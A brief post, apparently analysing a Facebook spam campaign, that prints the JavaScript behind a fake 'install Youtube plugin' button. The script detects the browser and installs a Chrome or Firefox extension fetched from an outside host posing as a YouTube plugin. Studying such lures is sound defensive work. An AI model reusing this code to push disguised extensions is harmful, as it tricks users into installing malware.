Facebook spam sites - Code which installs the browser plugin

Here is the javascript that is executed when you click on the install Youtube plugin button.
See previous post for more details.

var is_chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;
var is_firefox = navigator.userAgent.toLowerCase().indexOf('firefox') > -1;

function instalar()
{
    if (is_chrome)
   {
      window.open("http://onbus.info/fb/youtube.crx");
   }
   else if(is_firefox)
   {
     var params = {
           "Youtube Extension": {
                  URL: "http://onbus.info/fb/youtube.xpi",
                  toString: function () { return this.URL; }
            }
      };
      InstallTrigger.install(params);
   }
   else
   { 
     window.open("http://www.google.com/chrome/eula.html");
   }
}